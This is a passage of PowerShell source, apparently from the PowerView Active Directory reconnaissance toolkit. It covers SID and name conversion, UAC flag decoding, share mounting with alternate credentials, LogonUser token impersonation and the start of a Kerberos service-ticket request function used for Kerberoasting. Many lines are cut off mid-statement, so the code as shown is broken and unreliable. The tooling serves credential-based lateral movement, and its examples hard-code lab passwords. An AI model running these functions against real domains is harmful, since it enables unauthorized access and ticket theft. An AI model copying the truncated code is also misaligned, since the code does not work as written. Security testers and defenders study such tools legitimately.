[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$DomainSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential }
}
PROCESS {
ForEach ($Object in $ObjectName) {
$Object = $Object -Replace '/','\'
if ($PSBoundParameters['Credential']) {
$DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments
if ($DN) {
$UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
$UserName = $DN.Split(',')[0].split('=')[1]
$DomainSearcherArguments['Identity'] = $UserName
$DomainSearcherArguments['Domain'] = $UserDomain
$DomainSearcherArguments['Properties'] = 'objectsid'
Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid
}
}
else {
try {
if ($Object.Contains('\')) {
$Domain = $Object.Split('\')[0]
$Object = $Object.Split('\')[1]
}
elseif (-not $PSBoundParameters['Domain']) {
$DomainSearcherArguments = @{}
$Domain = (Get-Domain @DomainSearcherArguments).Name
}
$Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object))
$Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
}
catch {
Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_"
}
}
}
}
}
function ConvertFrom-SID {
<#
.SYNOPSIS
Converts a security identifier (SID) to a group/user name.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Convert-ADName
.DESCRIPTION
Converts a security identifier string (SID) to a group/user name
using Convert-ADName.
.PARAMETER ObjectSid
Specifies one or more SIDs to convert.
.PARAMETER Domain
Specifies the domain to use for the translation, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the translation.
.PARAMETER Credential
Specifies an alternate credential to use for the translation.
.EXAMPLE
ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108
TESTLAB\harmj0y
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-336619675
TESTLAB\WINDOWS2$
TESTLAB\harmj0y
BUILTIN\Distributed COM Users
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred
TESTLAB\harmj0y
.INPUTS
String
Accepts one or more SID strings on the pipeline.
.OUTPUTS
String
The converted DOMAIN\username.
#>
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName
[Alias('SID')]
[ValidatePattern('^S-1-.*')]
[String[]]
$ObjectSid,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL, # Dummy value to cover predefined SearcherArguments
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$ADNameArguments = @{}
if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
}
PROCESS {
ForEach ($TargetSid in $ObjectSid) {
$TargetSid = $TargetSid.trim('*')
try {
# try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330
Switch ($TargetSid) {
'S-1-0' { 'Null Authority' }
'S-1-0-0' { 'Nobody' }
'S-1-1' { 'World Authority' }
'S-1-1-0' { 'Everyone' }
'S-1-2' { 'Local Authority' }
'S-1-2-0' { 'Local' }
'S-1-2-1' { 'Console Logon ' }
'S-1-3' { 'Creator Authority' }
'S-1-3-0' { 'Creator Owner' }
'S-1-3-1' { 'Creator Group' }
'S-1-3-2' { 'Creator Owner Server' }
'S-1-3-3' { 'Creator Group Server' }
'S-1-3-4' { 'Owner Rights' }
'S-1-4' { 'Non-unique Authority' }
'S-1-5' { 'NT Authority' }
'S-1-5-1' { 'Dialup' }
'S-1-5-2' { 'Network' }
'S-1-5-3' { 'Batch' }
'S-1-5-4' { 'Interactive' }
'S-1-5-6' { 'Service' }
'S-1-5-7' { 'Anonymous' }
'S-1-5-8' { 'Proxy' }
'S-1-5-9' { 'Enterprise Domain Controllers' }
'S-1-5-10' { 'Principal Self' }
'S-1-5-11' { 'Authenticated Users' }
'S-1-5-12' { 'Restricted Code' }
'S-1-5-13' { 'Terminal Server Users' }
'S-1-5-14' { 'Remote Interactive Logon' }
'S-1-5-15' { 'This Organization ' }
'S-1-5-17' { 'This Organization ' }
'S-1-5-18' { 'Local System' }
'S-1-5-19' { 'NT Authority' }
'S-1-5-20' { 'NT Authority' }
'S-1-5-80-0' { 'All Services ' }
'S-1-5-32-544' { 'BUILTIN\Administrators' }
'S-1-5-32-545' { 'BUILTIN\Users' }
'S-1-5-32-546' { 'BUILTIN\Guests' }
'S-1-5-32-547' { 'BUILTIN\Power Users' }
'S-1-5-32-548' { 'BUILTIN\Account Operators' }
'S-1-5-32-549' { 'BUILTIN\Server Operators' }
'S-1-5-32-550' { 'BUILTIN\Print Operators' }
'S-1-5-32-551' { 'BUILTIN\Backup Operators' }
'S-1-5-32-552' { 'BUILTIN\Replicators' }
'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' }
'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' }
'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' }
'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' }
'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' }
'S-1-5-32-559' { 'BUILTIN\Performance Log Users' }
'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' }
'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' }
'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' }
'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' }
'S-1-5-32-573' { 'BUILTIN\Event Log Readers' }
'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' }
'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' }
'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' }
'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' }
'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' }
'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' }
'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' }
Default {
Convert-ADName -Identity $TargetSid @ADNameArguments
}
}
}
catch {
Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_"
}
}
}
}
function Convert-ADName {
<#
.SYNOPSIS
Converts Active Directory object names between a variety of formats.
Author: Bill Stewart, Pasquale Lantella
Modifications: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK)
and translates Active Directory names between various formats using the NameTranslate COM object.
.PARAMETER Identity
Specifies the Active Directory object name to translate, of the following form:
DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC
Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
NT4 domain\username; e.g., 'fabrikam\pflynn'
Display display name, e.g. 'pflynn'
DomainSimple simple domain name format, e.g. '[email protected]'
EnterpriseSimple simple enterprise name format, e.g. '[email protected]'
GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
UPN user principal name; e.g., '[email protected]'
CanonicalEx extended canonical name format
SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com'
SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999'
.PARAMETER OutputType
Specifies the output name type you want to convert to, which must be one of the following:
DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC
Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
NT4 domain\username; e.g., 'fabrikam\pflynn'
Display display name, e.g. 'pflynn'
DomainSimple simple domain name format, e.g. '[email protected]'
EnterpriseSimple simple enterprise name format, e.g. '[email protected]'
GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
UPN user principal name; e.g., '[email protected]'
CanonicalEx extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn'
SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com'
.PARAMETER Domain
Specifies the domain to use for the translation, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the translation.
.PARAMETER Credential
Specifies an alternate credential to use for the translation.
.EXAMPLE
Convert-ADName -Identity "TESTLAB\harmj0y"
[email protected]
.EXAMPLE
"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputTyp
testlab.local/Users/krbtgt
testlab.local/Users/Administrator
.EXAMPLE
Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local
CN=harmj0y,CN=Users,DC=testlab,DC=local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred
TESTLAB\harmj0y
.INPUTS
String
Accepts one or more objects name strings on the pipeline.
.OUTPUTS
String
Outputs a string representing the converted name.
.LINK
http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunc
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName
[Alias('Name', 'ObjectName')]
[String[]]
$Identity,
[String]
[ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknow
$OutputType,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$NameTypes = @{
'DN' = 1 # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com
'Canonical' = 2 # fabrikam.com/Engineers/Phineas Flynn
'NT4' = 3 # fabrikam\pflynn
'Display' = 4 # pflynn
'DomainSimple' = 5 # [email protected]
'EnterpriseSimple' = 6 # [email protected]
'GUID' = 7 # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436}
'Unknown' = 8 # unknown type - let the server do translation
'UPN' = 9 # [email protected]
'CanonicalEx' = 10 # fabrikam.com/Users/Phineas Flynn
'SPN' = 11 # HTTP/kairomac.contoso.com
'SID' = 12 # S-1-5-21-12986231-600641547-709122288-57999
}
# accessor functions from Bill Stewart to simplify calls to NameTranslate
function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {
$Output = $Null
$Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Para
Write-Output $Output
}
function Get-Property([__ComObject] $Object, [String] $Property) {
$Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL)
}
function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {
[Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameter
}
# https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx
if ($PSBoundParameters['Server']) {
$ADSInitType = 2
$InitName = $Server
}
elseif ($PSBoundParameters['Domain']) {
$ADSInitType = 1
$InitName = $Domain
}
elseif ($PSBoundParameters['Credential']) {
$Cred = $Credential.GetNetworkCredential()
$ADSInitType = 1
$InitName = $Cred.Domain
}
else {
# if no domain or server is specified, default to GC initialization
$ADSInitType = 3
$InitName = $Null
}
}
PROCESS {
ForEach ($TargetIdentity in $Identity) {
if (-not $PSBoundParameters['OutputType']) {
if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") {
$ADSOutputType = $NameTypes['DomainSimple']
}
else {
$ADSOutputType = $NameTypes['NT4']
}
}
else {
$ADSOutputType = $NameTypes[$OutputType]
}
$Translate = New-Object -ComObject NameTranslate
if ($PSBoundParameters['Credential']) {
try {
$Cred = $Credential.GetNetworkCredential()
Invoke-Method $Translate 'InitEx' (
$ADSInitType,
$InitName,
$Cred.UserName,
$Cred.Domain,
$Cred.Password
)
}
catch {
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate
}
}
else {
try {
$Null = Invoke-Method $Translate 'Init' (
$ADSInitType,
$InitName
)
}
catch {
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_"
}
}
# always chase all referrals
Set-Property $Translate 'ChaseReferral' (0x60)
try {
# 8 = Unknown name type -> let the server do the work for us
$Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)
Invoke-Method $Translate 'Get' ($ADSOutputType)
}
catch [System.Management.Automation.MethodInvocationException] {
Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerEx
}
}
}
}
function ConvertFrom-UACValue {
<#
.SYNOPSIS
Converts a UAC int value to human readable form.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function will take an integer that represents a User Account
Control (UAC) binary blob and will covert it to an ordered
dictionary with each bitwise value broken out. By default only values
set are displayed- the -ShowAll switch will display all values with
a + next to the ones set.
.PARAMETER Value
Specifies the integer UAC value to convert.
.PARAMETER ShowAll
Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is curre
.EXAMPLE
ConvertFrom-UACValue -Value 66176
Name Value
---- -----
ENCRYPTED_TEXT_PWD_ALLOWED 128
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser harmj0y | ConvertFrom-UACValue
Name Value
---- -----
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll
Name Value
---- -----
SCRIPT 1
ACCOUNTDISABLE 2
HOMEDIR_REQUIRED 8
LOCKOUT 16
PASSWD_NOTREQD 32
PASSWD_CANT_CHANGE 64
ENCRYPTED_TEXT_PWD_ALLOWED 128
TEMP_DUPLICATE_ACCOUNT 256
NORMAL_ACCOUNT 512+
INTERDOMAIN_TRUST_ACCOUNT 2048
WORKSTATION_TRUST_ACCOUNT 4096
SERVER_TRUST_ACCOUNT 8192
DONT_EXPIRE_PASSWORD 65536+
MNS_LOGON_ACCOUNT 131072
SMARTCARD_REQUIRED 262144
TRUSTED_FOR_DELEGATION 524288
NOT_DELEGATED 1048576
USE_DES_KEY_ONLY 2097152
DONT_REQ_PREAUTH 4194304
PASSWORD_EXPIRED 8388608
TRUSTED_TO_AUTH_FOR_DELEGATION 16777216
PARTIAL_SECRETS_ACCOUNT 67108864
.INPUTS
Int
Accepts an integer representing a UAC binary blob.
.OUTPUTS
System.Collections.Specialized.OrderedDictionary
An ordered dictionary with the converted UAC fields.
.LINK
https://support.microsoft.com/en-us/kb/305144
#>
[OutputType('System.Collections.Specialized.OrderedDictionary')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName
[Alias('UAC', 'useraccountcontrol')]
[Int]
$Value,
[Switch]
$ShowAll
)
BEGIN {
# values from https://support.microsoft.com/en-us/kb/305144
$UACValues = New-Object System.Collections.Specialized.OrderedDictionary
$UACValues.Add("SCRIPT", 1)
$UACValues.Add("ACCOUNTDISABLE", 2)
$UACValues.Add("HOMEDIR_REQUIRED", 8)
$UACValues.Add("LOCKOUT", 16)
$UACValues.Add("PASSWD_NOTREQD", 32)
$UACValues.Add("PASSWD_CANT_CHANGE", 64)
$UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
$UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
$UACValues.Add("NORMAL_ACCOUNT", 512)
$UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
$UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
$UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
$UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
$UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
$UACValues.Add("SMARTCARD_REQUIRED", 262144)
$UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
$UACValues.Add("NOT_DELEGATED", 1048576)
$UACValues.Add("USE_DES_KEY_ONLY", 2097152)
$UACValues.Add("DONT_REQ_PREAUTH", 4194304)
$UACValues.Add("PASSWORD_EXPIRED", 8388608)
$UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
$UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
}
PROCESS {
$ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary
if ($ShowAll) {
ForEach ($UACValue in $UACValues.GetEnumerator()) {
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
}
else {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
else {
ForEach ($UACValue in $UACValues.GetEnumerator()) {
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
$ResultUACValues
}
}
function Get-PrincipalContext {
<#
.SYNOPSIS
Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext
and simplified identity.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.PARAMETER Identity
A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a
or a DOMAIN\username identity.
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('GroupName', 'GroupIdentity')]
[String]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
try {
if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) {
if ($Identity -match '.+\\.+') {
# DOMAIN\groupname
$ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical
if ($ConvertedIdentity) {
$ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/'))
$ObjectIdentity = $Identity.Split('\')[1]
Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'"
}
}
else {
$ObjectIdentity = $Identity
Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'"
$ConnectTarget = $Domain
}
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.Principa
}
else {
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.Principa
}
}
else {
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
$DomainName = Get-Domain | Select-Object -ExpandProperty Name
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.Principa
}
else {
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.Principa
}
$ObjectIdentity = $Identity
}
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'Context' $Context
$Out | Add-Member Noteproperty 'Identity' $ObjectIdentity
$Out
}
catch {
Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_"
}
}
function Add-RemoteConnection {
<#
.SYNOPSIS
Pseudo "mounts" a connection to a remote path using the specified
credential object, allowing for access of remote resources. If a -Path isn't
specified, a -ComputerName is required to pseudo-mount IPC$.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection
to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the
-Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$.
To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path
or -ComputerName.
.PARAMETER ComputerName
Specifies the system to add a \\ComputerName\IPC$ connection for.
.PARAMETER Path
Specifies the remote \\UNC\path to add the connection for.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
$Cred = Get-Credential
Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred
.EXAMPLE
$Cred = Get-Credential
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred
#>
[CmdletBinding(DefaultParameterSetName = 'ComputerName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromP
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
[ValidatePattern('\\\\.*\\.*')]
[String[]]
$Path,
[Parameter(Mandatory = $True)]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential
)
BEGIN {
$NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW)
$NetResourceInstance.dwType = 1
}
PROCESS {
$Paths = @()
if ($PSBoundParameters['ComputerName']) {
ForEach ($TargetComputerName in $ComputerName) {
$TargetComputerName = $TargetComputerName.Trim('\')
$Paths += ,"\\$TargetComputerName\IPC$"
}
}
else {
$Paths += ,$Path
}
ForEach ($TargetPath in $Paths) {
$NetResourceInstance.lpRemoteName = $TargetPath
Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath"
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx
# CONNECT_TEMPORARY = 4
$Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCrede
if ($Result -eq 0) {
Write-Verbose "$TargetPath successfully mounted"
}
else {
Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32E
}
}
}
}
function Remove-RemoteConnection {
<#
.SYNOPSIS
Destroys a connection created by New-RemoteConnection.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses WNetCancelConnection2 to destroy a connection created by
New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to
'unmount' \\$ComputerName\IPC$.
.PARAMETER ComputerName
Specifies the system to remove a \\ComputerName\IPC$ connection for.
.PARAMETER Path
Specifies the remote \\UNC\path to remove the connection for.
.EXAMPLE
Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local'
.EXAMPLE
Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\'
.EXAMPLE
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunc
[CmdletBinding(DefaultParameterSetName = 'ComputerName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromP
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
[ValidatePattern('\\\\.*\\.*')]
[String[]]
$Path
)
PROCESS {
$Paths = @()
if ($PSBoundParameters['ComputerName']) {
ForEach ($TargetComputerName in $ComputerName) {
$TargetComputerName = $TargetComputerName.Trim('\')
$Paths += ,"\\$TargetComputerName\IPC$"
}
}
else {
$Paths += ,$Path
}
ForEach ($TargetPath in $Paths) {
Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath"
$Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True)
if ($Result -eq 0) {
Write-Verbose "$TargetPath successfully ummounted"
}
else {
Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.W
}
}
}
}
function Invoke-UserImpersonation {
<#
.SYNOPSIS
Creates a new "runas /netonly" type logon and impersonates the token.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType
to simulate "runas /netonly". The resulting token is then impersonated with
ImpersonateLoggedOnUser() and the token handle is returned for later usage
with Invoke-RevertToSelf.
.PARAMETER Credential
A [Management.Automation.PSCredential] object with alternate credentials
to impersonate in the current thread space.
.PARAMETER TokenHandle
An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation.
If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser()
is executed.
.PARAMETER Quiet
Suppress any warnings about STA vs MTA.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Invoke-UserImpersonation -Credential $Cred
.OUTPUTS
IntPtr
The TokenHandle result from LogonUser.
#>
[OutputType([IntPtr])]
[CmdletBinding(DefaultParameterSetName = 'Credential')]
Param(
[Parameter(Mandatory = $True, ParameterSetName = 'Credential')]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential,
[Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')]
[ValidateNotNull()]
[IntPtr]
$TokenHandle,
[Switch]
$Quiet
)
if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBound
Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded ap
}
if ($PSBoundParameters['TokenHandle']) {
$LogonTokenHandle = $TokenHandle
}
else {
$LogonTokenHandle = [IntPtr]::Zero
$NetworkCredential = $Credential.GetNetworkCredential()
$UserDomain = $NetworkCredential.Domain
$UserName = $NetworkCredential.UserName
Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($
# LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3
# this is to simulate "runas.exe /netonly" functionality
$Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3
if (-not $Result) {
throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $
}
}
# actually impersonate the token from LogonUser()
$Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle)
if (-not $Result) {
throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win3
}
Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated"
$LogonTokenHandle
}
function Invoke-RevertToSelf {
<#
.SYNOPSIS
Reverts any token impersonation.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses RevertToSelf() to revert any impersonated tokens.
If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation),
CloseHandle() is used to close the opened handle.
.PARAMETER TokenHandle
An optional IntPtr TokenHandle returned by Invoke-UserImpersonation.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
$Token = Invoke-UserImpersonation -Credential $Cred
Invoke-RevertToSelf -TokenHandle $Token
#>
[CmdletBinding()]
Param(
[ValidateNotNull()]
[IntPtr]
$TokenHandle
)
if ($PSBoundParameters['TokenHandle']) {
Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() tok
$Result = $Kernel32::CloseHandle($TokenHandle)
}
$Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLa
if (-not $Result) {
throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastEr
}
Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted"
}
function Get-DomainSPNTicket {
<#
.SYNOPSIS
Request the kerberos ticket for a specified service principal name (SPN).
Author: machosec, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will either take one/more SPN strings, or one/more PowerView.User objects
(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
